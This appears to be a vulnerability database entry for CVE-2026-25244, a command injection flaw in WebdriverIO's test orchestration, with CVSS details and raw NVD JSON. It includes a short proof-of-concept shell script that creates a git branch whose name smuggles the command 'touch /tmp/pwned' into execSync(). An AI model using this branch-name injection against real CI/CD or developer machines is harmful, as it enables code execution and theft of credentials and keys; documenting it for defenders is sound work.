Security Vulnerability Report
中文
CVE-2026-25244 CVSS 9.8 CRITICAL

CVE-2026-25244

Published: 2026-05-18 21:16:40
Last Modified: 2026-05-19 21:08:29

Description

WebdriverIO is a test automation framework for unit, e2e and component testing using WebDriver, WebDriver BiDi and Appium. Versions below 9.24.0 contain a command injection vulnerability leading to remote code execution (RCE) in test orchestration. Git permits branch names containing shell metacharacters, and getGitMetadataForAISelection() interpolates these names directly into execSync() calls without sanitization. An attacker can exploit this by supplying a malicious repository (via testOrchestrationOptions.runSmartSelection.source, or the current directory if unset) whose branch name carries a payload, causing the shell to execute arbitrary code. This enables remote code execution on CI/CD servers and developer machines, leading to credential and secret disclosure, source code and SSH key exfiltration, system compromise, and supply chain attacks via tampered build artifacts. The issue has been fixed in version 9.24.0.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:openjsf:webdriverio:*:*:*:*:*:node.js:*:* - VULNERABLE
WebdriverIO < 9.24.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash # PoC: Create a malicious Git repository to exploit CVE-2026-25244 # The branch name contains a shell command to create a file named 'pwned' REPO_DIR="malicious_repo" rm -rf $REPO_DIR mkdir $REPO_DIR cd $REPO_DIR git init # Create a commit echo "test" > test.txt git add test.txt git config user.email "[email protected]" git config user.name "Attacker" git commit -m "Initial commit" # Create a branch with a malicious payload # The payload executes 'touch /tmp/pwned' when passed to execSync git branch "main; touch /tmp/pwned; #" echo "[+] Malicious repository created at: $(pwd)" echo "[+] Use this repository as source in WebdriverIO test orchestration to trigger."

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-25244", "sourceIdentifier": "[email protected]", "published": "2026-05-18T21:16:39.547", "lastModified": "2026-05-19T21:08:29.203", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "WebdriverIO is a test automation framework for unit, e2e and component testing using WebDriver, WebDriver BiDi and Appium. Versions below 9.24.0 contain a command injection vulnerability leading to remote code execution (RCE) in test orchestration. Git permits branch names containing shell metacharacters, and getGitMetadataForAISelection() interpolates these names directly into execSync() calls without sanitization. An attacker can exploit this by supplying a malicious repository (via testOrchestrationOptions.runSmartSelection.source, or the current directory if unset) whose branch name carries a payload, causing the shell to execute arbitrary code. This enables remote code execution on CI/CD servers and developer machines, leading to credential and secret disclosure, source code and SSH key exfiltration, system compromise, and supply chain attacks via tampered build artifacts. The issue has been fixed in version 9.24.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openjsf:webdriverio:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "9.24.0", "matchCriteriaId": "3D9F8ED3-55D8-4830-A602-CBE9D68AF626"}]}]}], "references": [{"url": "https://github.com/webdriverio/webdriverio/blob/ea0e3e00288abced4c739ff9e46c46977b7cdbd2/packages/wdio-browserstack-service/src/testorchestration/helpers.ts#L204", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/webdriverio/webdriverio/releases/tag/v9.24.0", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/webdriverio/webdriverio/security/advisories/GHSA-5c46-x3qw-q7j7", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/webdriverio/webdriverio/security/advisories/GHSA-5c46-x3qw-q7j7", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}